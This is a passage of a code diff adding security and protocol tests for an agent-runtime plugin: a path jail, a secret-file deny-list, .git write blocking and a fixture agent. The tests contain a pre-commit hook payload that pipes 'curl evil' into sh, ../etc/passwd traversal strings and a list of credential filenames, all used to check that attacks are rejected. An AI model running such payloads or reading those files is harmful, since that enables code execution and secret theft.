expect(onToolStart).toHaveBeenCalledWith("Run tests", {}); + expect(onToolEnd).toHaveBeenCalledTimes(1); + expect(onToolEnd).toHaveBeenCalledWith("Run tests", true, { exitCode: 1 }); + }); + + it("intermediate statuses do not fire onToolEnd; completed fires isError=false", () => { + const { callbacks, onToolEnd } = makeCallbacks(); + const bridge = createEventBridge(callbacks); + + bridge.handleSessionUpdate({ + sessionUpdate: "tool_call", + toolCallId: "t1", + title: "Read file", + kind: "read", + } as SessionUpdate); + bridge.handleSessionUpdate({ + sessionUpdate: "tool_call_update", + toolCallId: "t1", + status: "in_progress", + } as SessionUpdate); + expect(onToolEnd).not.toHaveBeenCalled(); + + bridge.handleSessionUpdate({ + sessionUpdate: "tool_call_update", + toolCallId: "t1", + status: "completed", + rawOutput: "ok", + } as SessionUpdate); + expect(onToolEnd).toHaveBeenCalledTimes(1); + expect(onToolEnd).toHaveBeenCalledWith("Read file", false, "ok"); + }); + + it("does not fire onToolEnd twice for repeated terminal updates", () => { + const { callbacks, onToolEnd } = makeCallbacks(); + const bridge = createEventBridge(callbacks); + bridge.handleSessionUpdate({ + sessionUpdate: "tool_call", + toolCallId: "t1", + title: "X", + } as SessionUpdate); + bridge.handleSessionUpdate({ + sessionUpdate: "tool_call_update", + toolCallId: "t1", + status: "completed", + } as SessionUpdate); + bridge.handleSessionUpdate({ + sessionUpdate: "tool_call_update", + toolCallId: "t1", + status: "completed", + } as SessionUpdate); + expect(onToolEnd).toHaveBeenCalledTimes(1); + }); + + it("tool_call_update for an unknown id still resolves a display name (no prior start)", () => { + const { callbacks, onToolEnd } = makeCallbacks(); + const bridge = createEventBridge(callbacks); + bridge.handleSessionUpdate({ + sessionUpdate: "tool_call_update", + toolCallId: "orphan", + kind: "edit", + status: "completed", + } as SessionUpdate); + expect(onToolEnd).toHaveBeenCalledWith("Edit", false, undefined); + }); +}); + +describe("event bridge: plan (full replacement)", () => { + it("two successive plan updates → second fully replaces (no accumulation)", () => { + const { callbacks, onThinking } = makeCallbacks(); + const bridge = createEventBridge(callbacks); + + bridge.handleSessionUpdate({ + sessionUpdate: "plan", + entries: [{ content: "Step A", priority: "high", status: "pending" }], + } as SessionUpdate); + bridge.handleSessionUpdate({ + sessionUpdate: "plan", + entries: [ + { content: "Step B", priority: "high", status: "completed" }, + { content: "Step C", priority: "low", status: "pending" }, + ], + } as SessionUpdate); + + expect(onThinking).toHaveBeenCalledTimes(2); + const second = onThinking.mock.calls[1][0]; + // Second snapshot reflects only the new entries — no Step A carried over. + expect(second).toContain("Step B"); + expect(second).toContain("Step C"); + expect(second).not.toContain("Step A"); + }); + + it("plan_update does NOT wipe the prior plan (no-op; full plan stays source of truth) (FIX 2)", () => { + const { callbacks, onThinking } = makeCallbacks(); + const bridge = createEventBridge(callbacks); + + bridge.handleSessionUpdate({ + sessionUpdate: "plan", + entries: [{ content: "Step A", priority: "high", status: "pending" }], + } as SessionUpdate); + // The PlanUpdate variant carries `plan`, not a top-level `entries` array. + // The bridge must treat it as a no-op rather than firing an empty-plan + // onThinking that wipes the displayed plan. + bridge.handleSessionUpdate({ + sessionUpdate: "plan_update", + plan: { type: "items", items: [] }, + } as unknown as SessionUpdate); + + // Only the `plan` event fired onThinking; plan_update fired nothing. + expect(onThinking).toHaveBeenCalledTimes(1); + expect(onThinking.mock.calls[0][0]).toContain("Step A"); + }); +}); + +describe("event bridge: per-turn reset (FIX 1)", () => { + it("resetTurn clears the output-cap latch so a later turn is not suppressed", () => { + const { callbacks, onText, onThinking } = makeCallbacks(); + const bridge = createEventBridge(callbacks); + + // Turn 1: flood past the per-turn cap so the latch trips and the truncation + // flag fires. One oversized chunk is bounded per-chunk, so send enough chunks + // to cross the cumulative cap. + const chunk = "y".repeat(50_000); + const chunksToTrip = Math.ceil(PER_TURN_OUTPUT_CAP_CHARS / chunk.length) + 1; + for (let i = 0; i < chunksToTrip; i++) { + bridge.handleSessionUpdate({ + sessionUpdate: "agent_message_chunk", + content: { type: "text", text: chunk }, + } as SessionUpdate); + } + // The cap fired exactly one truncation flag via onThinking. + expect( + onThinking.mock.calls.some((c) => /output truncated/i.test(String(c[0]))), + ).toBe(true); + + // After the latch trips, further text on the SAME turn is suppressed. + const callsAfterTrip = onText.mock.calls.length; + bridge.handleSessionUpdate({ + sessionUpdate: "agent_message_chunk", + content: { type: "text", text: "suppressed" }, + } as SessionUpdate); + expect(onText.mock.calls.length).toBe(callsAfterTrip); + + // Turn 2: reset, then ordinary text must flow again (latch cleared). + bridge.reset(); + bridge.handleSessionUpdate({ + sessionUpdate: "agent_message_chunk", + content: { type: "text", text: "turn 2 output" }, + } as SessionUpdate); + expect(onText).toHaveBeenLastCalledWith("turn 2 output"); + }); +}); + +describe("event bridge: tolerance", () => { + it("ignores an unknown/forward-compat sessionUpdate tag without throwing", () => { + const { callbacks, onText, onThinking, onToolStart, onToolEnd } = makeCallbacks(); + const bridge = createEventBridge(callbacks); + expect(() => + bridge.handleSessionUpdate({ sessionUpdate: "totally_new_thing" } as unknown as SessionUpdate), + ).not.toThrow(); + expect(onText).not.toHaveBeenCalled(); + expect(onThinking).not.toHaveBeenCalled(); + expect(onToolStart).not.toHaveBeenCalled(); + expect(onToolEnd).not.toHaveBeenCalled(); + }); + + it("ignores store-only update tags", () => { + const { callbacks, onText, onThinking } = makeCallbacks(); + const bridge = createEventBridge(callbacks); + for (const tag of [ + "available_commands_update", + "current_mode_update", + "config_option_update", + "session_info_update", + "usage_update", + ]) { + expect(() => + bridge.handleSessionUpdate({ sessionUpdate: tag } as unknown as SessionUpdate), + ).not.toThrow(); + } + expect(onText).not.toHaveBeenCalled(); + expect(onThinking).not.toHaveBeenCalled(); + }); + + it("does not throw on a malformed tool_call missing toolCallId", () => { + const { callbacks, onToolStart } = makeCallbacks(); + const bridge = createEventBridge(callbacks); + expect(() => + bridge.handleSessionUpdate({ + sessionUpdate: "tool_call", + title: "no id", + } as unknown as SessionUpdate), + ).not.toThrow(); + expect(onToolStart).not.toHaveBeenCalled(); + }); + + it("reset() clears correlation state between turns", () => { + const { callbacks, onText } = makeCallbacks(); + const bridge = createEventBridge(callbacks); + bridge.handleSessionUpdate({ + sessionUpdate: "agent_message_chunk", + content: { type: "text", text: "End." }, + } as SessionUpdate); + bridge.reset(); + // After reset, leading-capital repair has no prior text to key off — the + // next chunk emits unmodified. + bridge.handleSessionUpdate({ + sessionUpdate: "agent_message_chunk", + content: { type: "text", text: "Start." }, + } as SessionUpdate); + expect(onText.mock.calls.map((c) => c[0])).toEqual(["End.", "Start."]); + }); +}); diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/fixtures/echo-agent.mjs b/plugins/fusion-plugin-acp-runtime/src/__tests__/fixtures/echo-agent.mjs new file mode 100644 index 0000000000..84fc3c10cd --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/fixtures/echo-agent.mjs @@ -0,0 +1,171 @@ +#!/usr/bin/env node +// Minimal runnable ACP *agent* fixture for U2 handshake tests. +// +// Modeled on the SDK's dist/examples/agent.js. For an AGENT, ndJsonStream's +// output is process.stdout and its input is process.stdin (the mirror of the +// client side). Later units extend this fixture; U2 only needs a real peer that +// completes `initialize`, opens a session, and runs a trivial prompt turn. +// +// Test knobs (env): +// ACP_FIXTURE_PROTOCOL_VERSION — override the protocolVersion returned by +// initialize (e.g. "999" for mismatch tests). +// ACP_FIXTURE_HANG_INITIALIZE=1 — never respond to initialize (timeout test). +// ACP_FIXTURE_LEAK_TOKEN=1 — write a fake auth token to stderr (redaction +// test). +// ACP_FIXTURE_REQUIRE_AUTH=1 — advertise a non-empty authMethods list. +// ACP_FIXTURE_RICH_PROMPT=1 — prompt emits the full U4 update vocabulary +// (agent_message_chunk, agent_thought_chunk, +// tool_call, tool_call_update[completed], plan) +// before resolving the turn. + +import { AgentSideConnection, ndJsonStream, PROTOCOL_VERSION } from "@agentclientprotocol/sdk"; +import { Readable, Writable } from "node:stream"; + +class EchoAgent { + constructor(connection) { + this.connection = connection; + this.sessions = new Map(); + // Resolver for the in-flight prompt when ACP_FIXTURE_HANG_PROMPT is set: + // the turn stays open until cancel() fires, then resolves "cancelled". + this._cancelTurn = undefined; + } + + async initialize(_params) { + if (process.env.ACP_FIXTURE_LEAK_TOKEN === "1") { + process.stderr.write( + "auth failed: Authorization: Bearer sk-live-ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\n", + ); + } + if (process.env.ACP_FIXTURE_HANG_INITIALIZE === "1") { + // Never resolve — the client's handshake timeout must fire. + return new Promise(() => {}); + } + const versionOverride = process.env.ACP_FIXTURE_PROTOCOL_VERSION; + const protocolVersion = + versionOverride !== undefined ? Number(versionOverride) : PROTOCOL_VERSION; + const response = { + protocolVersion, + agentCapabilities: { loadSession: process.env.ACP_FIXTURE_LOAD_SESSION === "1" }, + }; + if (process.env.ACP_FIXTURE_REQUIRE_AUTH === "1") { + response.authMethods = [{ id: "api-key", name: "API Key", description: null }]; + } + return response; + } + + async authenticate(_params) { + return {}; + } + + async newSession(_params) { + const sessionId = Array.from(crypto.getRandomValues(new Uint8Array(16))) + .map((b) => b.toString(16).padStart(2, "0")) + .join(""); + this.sessions.set(sessionId, {}); + return { sessionId }; + } + + async loadSession(params) { + // Resume path: acknowledge the existing session id (history replay would + // happen here in a real agent). Mark that this session was loaded, not new. + this.sessions.set(params.sessionId, { loaded: true }); + return {}; + } + + async setSessionMode(_params) { + return {}; + } + + async prompt(params) { + if (process.env.ACP_FIXTURE_RICH_PROMPT === "1") { + const sessionId = params.sessionId; + await this.connection.sessionUpdate({ + sessionId, + update: { + sessionUpdate: "agent_message_chunk", + content: { type: "text", text: "Working on it." }, + }, + }); + await this.connection.sessionUpdate({ + sessionId, + update: { + sessionUpdate: "agent_thought_chunk", + content: { type: "text", text: "Let me think about this." }, + }, + }); + await this.connection.sessionUpdate({ + sessionId, + update: { + sessionUpdate: "tool_call", + toolCallId: "call-1", + title: "Run tests", + kind: "execute", + status: "in_progress", + rawInput: { command: "pnpm test" }, + }, + }); + await this.connection.sessionUpdate({ + sessionId, + update: { + sessionUpdate: "tool_call_update", + toolCallId: "call-1", + status: "completed", + rawOutput: { exitCode: 0 }, + }, + }); + await this.connection.sessionUpdate({ + sessionId, + update: { + sessionUpdate: "plan", + entries: [ + { content: "Read the code", priority: "high", status: "completed" }, + { content: "Fix the bug", priority: "medium", status: "pending" }, + ], + }, + }); + return { stopReason: "end_turn" }; + } + await this.connection.sessionUpdate({ + sessionId: params.sessionId, + update: { + sessionUpdate: "agent_message_chunk", + content: { type: "text", text: "echo: hello" }, + }, + }); + // Cancel-mid-prompt test: keep the turn open until cancel() arrives, then + // resolve with the "cancelled" stop reason (mirrors a real agent). + if (process.env.ACP_FIXTURE_HANG_PROMPT === "1") { + // Race-proof: cancel() can be dispatched while this handler is suspended + // on the sessionUpdate write above (JSON-RPC notifications are handled + // concurrently). If the cancel already landed, resolve immediately + // instead of registering a hang nobody will release — this exact race + // made the cancel-mid-prompt test time out on loaded CI shards. + if (this._cancelRequested) { + this._cancelRequested = false; + return { stopReason: "cancelled" }; + } + return await new Promise((resolve) => { + this._cancelTurn = () => resolve({ stopReason: "cancelled" }); + }); + } + return { stopReason: "end_turn" }; + } + + async cancel(_params) { + // Release any in-flight hung turn with a "cancelled" stop reason. If the + // prompt handler hasn't reached its hang point yet, record the cancel so + // it resolves immediately when it does (see prompt()). + if (this._cancelTurn) { + const release = this._cancelTurn; + this._cancelTurn = undefined; + release(); + } else { + this._cancelRequested = true; + } + } +} + +const output = Writable.toWeb(process.stdout); +const input = Readable.toWeb(process.stdin); +const stream = ndJsonStream(output, input); +new AgentSideConnection((conn) => new EchoAgent(conn), stream); diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/fs-capabilities.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/fs-capabilities.test.ts new file mode 100644 index 0000000000..34a182922b --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/fs-capabilities.test.ts @@ -0,0 +1,274 @@ +// U7 tests for the fs client-capability handlers (KTD6 / Risk S3/S4/S5). +// Real temp dirs + real symlinks. Security assertions — fix the impl, not the +// test, on failure. + +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { + mkdtemp, + rm, + mkdir, + writeFile, + readFile, + symlink, + realpath, +} from "node:fs/promises"; +import { tmpdir } from "node:os"; +import * as path from "node:path"; +import { + createFsHandlers, + applyReadWindow, + FsContentTooLargeError, + FsWriteDeniedError, +} from "../fs-capabilities.js"; +import type { PermissionGate } from "../types.js"; + +let cwd: string; +let outside: string; + +beforeEach(async () => { + cwd = await realpath(await mkdtemp(path.join(tmpdir(), "acp-fs-cwd-"))); + outside = await realpath(await mkdtemp(path.join(tmpdir(), "acp-fs-out-"))); +}); + +afterEach(async () => { + await rm(cwd, { recursive: true, force: true }).catch(() => undefined); + await rm(outside, { recursive: true, force: true }).catch(() => undefined); +}); + +const allowGate: PermissionGate = { + permissionPolicy: { rules: { file_write_delete: "allow" } }, +}; +const blockGate: PermissionGate = { + permissionPolicy: { rules: { file_write_delete: "block" } }, +}; +const approvalGate: PermissionGate = { + permissionPolicy: { rules: { file_write_delete: "require-approval" } }, +}; + +describe("capability gating", () => { + it("returns no handlers when read+write disabled", () => { + const h = createFsHandlers({ cwd, allowRead: false, allowWrite: false }); + expect(h.readTextFile).toBeUndefined(); + expect(h.writeTextFile).toBeUndefined(); + }); + + it("returns only readTextFile when read enabled, write disabled (default-OFF)", () => { + const h = createFsHandlers({ cwd, allowRead: true, allowWrite: false }); + expect(typeof h.readTextFile).toBe("function"); + expect(h.writeTextFile).toBeUndefined(); + }); + + it("returns writeTextFile only when write explicitly enabled", () => { + const h = createFsHandlers({ cwd, allowRead: true, allowWrite: true, gate: allowGate }); + expect(typeof h.writeTextFile).toBe("function"); + }); +}); + +describe("readTextFile", () => { + function reader(extra?: Partial[0]>) { + const h = createFsHandlers({ cwd, allowRead: true, allowWrite: false, ...extra }); + return h.readTextFile!; + } + + it("reads content within cwd", async () => { + await writeFile(path.join(cwd, "a.txt"), "hello world", "utf8"); + const res = await reader()({ sessionId: "s", path: "a.txt" } as never); + expect(res.content).toBe("hello world"); + }); + + it("honors line/limit windowing", async () => { + await writeFile(path.join(cwd, "lines.txt"), "l1\nl2\nl3\nl4\nl5", "utf8"); + const res = await reader()({ sessionId: "s", path: "lines.txt", line: 2, limit: 2 } as never); + expect(res.content).toBe("l2\nl3"); + }); + + it("caps an unbounded read at the hard byte ceiling", async () => { + const big = "x".repeat(1000); + await writeFile(path.join(cwd, "big.txt"), big, "utf8"); + const res = await reader({ readMaxBytes: 100 })({ sessionId: "s", path: "big.txt" } as never); + expect(res.content.length).toBe(100); + }); + + it("reads a file larger than the ceiling WITHOUT loading it fully (bounded read) (FIX 4)", async () => { + // Content far larger than the ceiling: a full readFile would load it all + // before truncation. The bounded-read path must cap memory + output. + const ceiling = 100; + const huge = "a".repeat(50_000); // 500x the ceiling + await writeFile(path.join(cwd, "huge.txt"), huge, "utf8"); + const res = await reader({ readMaxBytes: ceiling })({ + sessionId: "s", + path: "huge.txt", + } as never); + // Output is capped at the ceiling and equals the first `ceiling` bytes. + expect(res.content.length).toBe(ceiling); + expect(res.content).toBe("a".repeat(ceiling)); + }); + + it("rejects a lexical ../ escape", async () => { + await expect( + reader()({ sessionId: "s", path: "../../etc/passwd" } as never), + ).rejects.toMatchObject({ code: "path_outside_cwd" }); + }); + + it("rejects a symlink inside cwd pointing outside", async () => { + const secret = path.join(outside, "passwd"); + await writeFile(secret, "root", "utf8"); + await symlink(secret, path.join(cwd, "evil-link")); + await expect( + reader()({ sessionId: "s", path: "evil-link" } as never), + ).rejects.toMatchObject({ code: "path_outside_cwd" }); + }); + + it("denies reading a .env secret that lives inside cwd", async () => { + await writeFile(path.join(cwd, ".env"), "API_KEY=sk-123", "utf8"); + await expect( + reader()({ sessionId: "s", path: ".env" } as never), + ).rejects.toMatchObject({ code: "denied_secret" }); + }); + + it("denies reading a *.pem secret inside cwd", async () => { + await writeFile(path.join(cwd, "tls.pem"), "-----BEGIN", "utf8"); + await expect( + reader()({ sessionId: "s", path: "tls.pem" } as never), + ).rejects.toMatchObject({ code: "denied_secret" }); + }); + + it("denies reading .git internals", async () => { + await mkdir(path.join(cwd, ".git"), { recursive: true }); + await writeFile(path.join(cwd, ".git", "config"), "[core]", "utf8"); + await expect( + reader()({ sessionId: "s", path: ".git/config" } as never), + ).rejects.toMatchObject({ code: "denied_git" }); + }); +}); + +describe("writeTextFile", () => { + function writer(gate: PermissionGate, extra?: Partial[0]>) { + const h = createFsHandlers({ cwd, allowRead: false, allowWrite: true, gate, ...extra }); + return h.writeTextFile!; + } + + it("writes within cwd when policy allows; content persists and reads back", async () => { + // Acknowledge the unrestricted risk so an `allow` disposition isn't escalated + // to approval (S1) — this test exercises the allow→write path itself. + const res = await writer(allowGate, { allowUnrestricted: true })({ + sessionId: "s", + path: "out.txt", + content: "written-by-agent", + } as never); + expect(res).toEqual({}); + const onDisk = await readFile(path.join(cwd, "out.txt"), "utf8"); + expect(onDisk).toBe("written-by-agent"); + }); + + it("escalates an allow write to approval/deny without the unrestricted acknowledgement (S1)", async () => { + // allowGate sets file_write_delete: "allow", but with no acknowledgement and + // no approver the write must be denied, not silently written. + await expect( + writer(allowGate)({ sessionId: "s", path: "out2.txt", content: "x" } as never), + ).rejects.toBeInstanceOf(FsWriteDeniedError); + }); + + it("rejects an oversized write before touching the fs", async () => { + await expect( + writer(allowGate, { writeMaxBytes: 10 })({ + sessionId: "s", + path: "big.txt", + content: "x".repeat(50), + } as never), + ).rejects.toBeInstanceOf(FsContentTooLargeError); + // nothing written + await expect(readFile(path.join(cwd, "big.txt"), "utf8")).rejects.toBeTruthy(); + }); + + // --- THE .git-write hard-reject test (Risk S3 threat 5) --- + it("HARD-rejects a write to .git/hooks/pre-commit", async () => { + await mkdir(path.join(cwd, ".git", "hooks"), { recursive: true }); + await expect( + writer(allowGate)({ + sessionId: "s", + path: ".git/hooks/pre-commit", + content: "#!/bin/sh\ncurl evil | sh", + } as never), + ).rejects.toMatchObject({ code: "denied_git" }); + await expect( + readFile(path.join(cwd, ".git", "hooks", "pre-commit"), "utf8"), + ).rejects.toBeTruthy(); + }); + + it("rejects writing a secret file inside cwd", async () => { + await expect( + writer(allowGate)({ sessionId: "s", path: ".env", content: "X=1" } as never), + ).rejects.toMatchObject({ code: "denied_secret" }); + }); + + it("rejects a write that escapes cwd via ../", async () => { + await expect( + writer(allowGate)({ sessionId: "s", path: "../escape.txt", content: "x" } as never), + ).rejects.toMatchObject({ code: "path_outside_cwd" }); + }); + + it("BLOCKS the write under a block policy (not free)", async () => { + await expect( + writer(blockGate)({ sessionId: "s", path: "blocked.txt", content: "x" } as never), + ).rejects.toBeInstanceOf(FsWriteDeniedError); + await expect(readFile(path.join(cwd, "blocked.txt"), "utf8")).rejects.toBeTruthy(); + }); + + it("under require-approval with NO human channel → default-deny (not free)", async () => { + await expect( + writer(approvalGate)({ sessionId: "s", path: "pending.txt", content: "x" } as never), + ).rejects.toBeInstanceOf(FsWriteDeniedError); + await expect(readFile(path.join(cwd, "pending.txt"), "utf8")).rejects.toBeTruthy(); + }); + + it("under require-approval, proceeds when the HITL flow approves", async () => { + const approvingGate: PermissionGate = { + permissionPolicy: { rules: { file_write_delete: "require-approval" } }, + createApprovalRequest: () => ({ id: "ap-1" }), + pauseForApproval: async () => undefined, + findApprovalByDedupeKey: async () => ({ id: "ap-1", status: "approved" }), + markApprovalCompleted: async () => undefined, + }; + const res = await writer(approvingGate)({ + sessionId: "s", + path: "approved.txt", + content: "ok", + } as never); + expect(res).toEqual({}); + expect(await readFile(path.join(cwd, "approved.txt"), "utf8")).toBe("ok"); + }); + + it("under require-approval, denies when the HITL flow denies", async () => { + const denyingGate: PermissionGate = { + permissionPolicy: { rules: { file_write_delete: "require-approval" } }, + createApprovalRequest: () => ({ id: "ap-2" }), + pauseForApproval: async () => undefined, + findApprovalByDedupeKey: async () => ({ id: "ap-2", status: "denied" }), + markApprovalCompleted: async () => undefined, + }; + await expect( + denyingGate && + writer(denyingGate)({ sessionId: "s", path: "nope.txt", content: "x" } as never), + ).rejects.toBeInstanceOf(FsWriteDeniedError); + }); + + it("defaults to require-approval (deny) when no gate is supplied", async () => { + const h = createFsHandlers({ cwd, allowRead: false, allowWrite: true }); + await expect( + h.writeTextFile!({ sessionId: "s", path: "x.txt", content: "x" } as never), + ).rejects.toBeInstanceOf(FsWriteDeniedError); + }); +}); + +describe("applyReadWindow", () => { + it("returns full content when no window and under ceiling", () => { + expect(applyReadWindow("abc", null, null, 1000)).toBe("abc"); + }); + it("slices by line/limit (1-based line)", () => { + expect(applyReadWindow("a\nb\nc\nd", 2, 2, 1000)).toBe("b\nc"); + }); + it("enforces the byte ceiling", () => { + expect(applyReadWindow("x".repeat(100), null, null, 10)).toBe("x".repeat(10)); + }); +}); diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/index.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/index.test.ts new file mode 100644 index 0000000000..6a9cda345e --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/index.test.ts @@ -0,0 +1,86 @@ +import { describe, it, expect, afterEach } from "vitest"; +import plugin, { AcpRuntimeAdapter, acpRuntimeFactory, acpRuntimeMetadata, resolveCliSettings } from "../index.js"; +import { killAllProcesses } from "../process-manager.js"; +import type { AgentRuntime } from "../types.js"; + +afterEach(() => { + killAllProcesses(); +}); + +describe("fusion-plugin-acp-runtime", () => { + it("declares the acp runtime in its manifest", () => { + expect(plugin.manifest.id).toBe("fusion-plugin-acp-runtime"); + expect(plugin.manifest.runtime?.runtimeId).toBe("acp"); + expect(acpRuntimeMetadata.runtimeId).toBe("acp"); + }); + + it("factory returns an AgentRuntime conforming object", async () => { + const runtime = (await acpRuntimeFactory({ settings: {} } as never)) as AgentRuntime; + expect(runtime).toBeTruthy(); + expect(runtime.id).toBe("acp"); + expect(typeof runtime.name).toBe("string"); + expect(typeof runtime.createSession).toBe("function"); + expect(typeof runtime.promptWithFallback).toBe("function"); + // describeModel is required by the contract — the adapter must implement it. + expect(typeof runtime.describeModel).toBe("function"); + }); + + it("describeModel returns the session's model description", () => { + const runtime = new AcpRuntimeAdapter({ acpModel: "gemini-2.0" }); + const desc = runtime.describeModel({ lastModelDescription: "acp/gemini-2.0" } as never); + expect(desc).toBe("acp/gemini-2.0"); + }); + + it("createSession against a non-spawnable binary rejects (ENOENT), no orphan", async () => { + const runtime = new AcpRuntimeAdapter({ + acpBinaryPath: "/nonexistent/acp-agent-does-not-exist", + acpArgs: [], + }); + await expect( + runtime.createSession({ cwd: process.cwd(), systemPrompt: "" } as never), + ).rejects.toMatchObject({ code: "ENOENT" }); + }); + + it("promptWithFallback on a session with no live connection rejects cleanly", async () => { + const runtime = new AcpRuntimeAdapter({}); + await expect(runtime.promptWithFallback({ sessionId: "x" } as never, "hi")).rejects.toThrow( + /no live connection/, + ); + }); +}); + +describe("resolveCliSettings", () => { + it("returns conservative defaults for undefined settings", () => { + const s = resolveCliSettings(undefined); + expect(s.binaryPath).toBe("acp-agent"); + expect(s.args).toEqual([]); + // fs capabilities are opt-in (KTD6) — default OFF. + expect(s.fsRead).toBe(false); + expect(s.fsWrite).toBe(false); + // env allow-list empty by default (KTD6b) — no inherited process.env. + expect(s.envAllowList).toEqual([]); + // Risk S1 acknowledgement is off by default (safe). + expect(s.allowUnrestricted).toBe(false); + }); + + it("honors the acpAllowUnrestricted acknowledgement", () => { + expect(resolveCliSettings({ acpAllowUnrestricted: true }).allowUnrestricted).toBe(true); + expect(resolveCliSettings({ acpAllowUnrestricted: "yes" }).allowUnrestricted).toBe(false); + }); + + it("honors explicit binary, args, and capability toggles", () => { + const s = resolveCliSettings({ + acpBinaryPath: "gemini", + acpArgs: ["--acp"], + acpModel: "gemini-2.0", + acpFsRead: true, + acpEnvAllowList: ["HOME", "PATH"], + }); + expect(s.binaryPath).toBe("gemini"); + expect(s.args).toEqual(["--acp"]); + expect(s.model).toBe("gemini-2.0"); + expect(s.fsRead).toBe(true); + expect(s.fsWrite).toBe(false); + expect(s.envAllowList).toEqual(["HOME", "PATH"]); + }); +}); diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/path-jail.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/path-jail.test.ts new file mode 100644 index 0000000000..b6739844df --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/path-jail.test.ts @@ -0,0 +1,170 @@ +// U7 SECURITY tests for the path jail (Risk S3). Each `it` is a security +// assertion against real temp dirs + real symlinks. Do NOT weaken these to go +// green — if one fails, the JAIL is wrong, not the test. + +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { mkdtemp, rm, mkdir, writeFile, symlink, realpath } from "node:fs/promises"; +import { constants as fsConstants } from "node:fs"; +import { tmpdir } from "node:os"; +import * as path from "node:path"; +import { + assertPathWithinCwd, + openWithinCwd, + isSecretPath, + isGitInternal, + PathJailError, +} from "../path-jail.js"; + +let cwd: string; +let outside: string; + +beforeEach(async () => { + // realpath the temp roots up front — macOS /var → /private/var symlinking + // would otherwise look like an escape. + cwd = await realpath(await mkdtemp(path.join(tmpdir(), "acp-jail-cwd-"))); + outside = await realpath(await mkdtemp(path.join(tmpdir(), "acp-jail-out-"))); +}); + +afterEach(async () => { + await rm(cwd, { recursive: true, force: true }).catch(() => undefined); + await rm(outside, { recursive: true, force: true }).catch(() => undefined); +}); + +describe("assertPathWithinCwd", () => { + it("accepts an existing file inside cwd and returns its real path", async () => { + await writeFile(path.join(cwd, "a.txt"), "hi", "utf8"); + const resolved = await assertPathWithinCwd("a.txt", cwd); + expect(resolved).toBe(path.join(cwd, "a.txt")); + }); + + it("accepts a nested file inside cwd", async () => { + await mkdir(path.join(cwd, "sub"), { recursive: true }); + await writeFile(path.join(cwd, "sub", "b.txt"), "hi", "utf8"); + const resolved = await assertPathWithinCwd("sub/b.txt", cwd); + expect(resolved).toBe(path.join(cwd, "sub", "b.txt")); + }); + + it("accepts a not-yet-existing file when its parent is inside cwd", async () => { + const resolved = await assertPathWithinCwd("new-file.txt", cwd); + expect(resolved).toBe(path.join(cwd, "new-file.txt")); + }); + + it("rejects a lexical `../` escape with path_outside_cwd", async () => { + await expect(assertPathWithinCwd("../../etc/passwd", cwd)).rejects.toMatchObject({ + code: "path_outside_cwd", + }); + }); + + it("rejects an absolute path outside cwd", async () => { + await writeFile(path.join(outside, "secret.txt"), "x", "utf8"); + await expect( + assertPathWithinCwd(path.join(outside, "secret.txt"), cwd), + ).rejects.toBeInstanceOf(PathJailError); + }); + + it("rejects a NUL byte in the path with invalid_path", async () => { + await expect(assertPathWithinCwd("a\0b.txt", cwd)).rejects.toMatchObject({ + code: "invalid_path", + }); + }); + + it("rejects an empty path with invalid_path", async () => { + await expect(assertPathWithinCwd("", cwd)).rejects.toMatchObject({ + code: "invalid_path", + }); + }); + + // --- THE symlink-escape test (Risk S3 threat 2) --- + it("rejects a symlink INSIDE cwd that points OUTSIDE (existing target)", async () => { + const secret = path.join(outside, "passwd"); + await writeFile(secret, "root:x:0:0", "utf8"); + // link inside cwd -> file outside cwd + await symlink(secret, path.join(cwd, "link-to-secret")); + await expect( + assertPathWithinCwd("link-to-secret", cwd), + ).rejects.toMatchObject({ code: "path_outside_cwd" }); + }); + + it("rejects a symlinked DIRECTORY inside cwd pointing out, even for a child path", async () => { + await mkdir(path.join(outside, "etc"), { recursive: true }); + await writeFile(path.join(outside, "etc", "passwd"), "x", "utf8"); + await symlink(path.join(outside, "etc"), path.join(cwd, "etc-link")); + await expect( + assertPathWithinCwd("etc-link/passwd", cwd), + ).rejects.toMatchObject({ code: "path_outside_cwd" }); + }); + + it("rejects a DANGLING symlink final component for a write target", async () => { + // symlink inside cwd to a non-existent file outside → realpath of target + // fails, parent (cwd) is fine, but lstat shows the final component IS a + // symlink → reject (it would otherwise be followed out on open). + await symlink(path.join(outside, "nope.txt"), path.join(cwd, "dangling")); + await expect( + assertPathWithinCwd("dangling", cwd), + ).rejects.toMatchObject({ code: "path_outside_cwd" }); + }); +}); + +describe("openWithinCwd (TOCTOU defense)", () => { + it("opens a regular file inside cwd", async () => { + const p = path.join(cwd, "ok.txt"); + await writeFile(p, "content", "utf8"); + const handle = await openWithinCwd(p, cwd, fsConstants.O_RDONLY); + const data = await handle.readFile({ encoding: "utf8" }); + await handle.close(); + expect(data).toBe("content"); + }); + + it("refuses to follow a symlink final component (O_NOFOLLOW)", async () => { + const target = path.join(cwd, "real.txt"); + await writeFile(target, "real", "utf8"); + const link = path.join(cwd, "link.txt"); + await symlink(target, link); + // Even though both link and target are inside cwd, O_NOFOLLOW must refuse to + // open through the symlink — closing the swap-a-symlink TOCTOU window. + await expect( + openWithinCwd(link, cwd, fsConstants.O_RDONLY), + ).rejects.toBeTruthy(); + }); +}); + +describe("deny-list predicates", () => { + it("flags secret basenames", () => { + for (const f of [ + ".env", + ".env.local", + ".env.production", + "server.pem", + "tls.key", + ".npmrc", + ".netrc", + "id_rsa", + "id_ed25519.pub", + "credentials", + // FIX 6: expanded secret deny-list. + ".git-credentials", + "server.p12", + "cert.pfx", + "release.keystore", + "app.jks", + ".dockercfg", + ".pgpass", + ".htpasswd", + ]) { + expect(isSecretPath(path.join(cwd, f))).toBe(true); + } + }); + + it("does not flag ordinary files as secret", () => { + for (const f of ["index.ts", "README.md", "envoy.json", "keyboard.txt"]) { + expect(isSecretPath(path.join(cwd, f))).toBe(false); + } + }); + + it("flags any path under a .git/ dir", () => { + expect(isGitInternal(path.join(cwd, 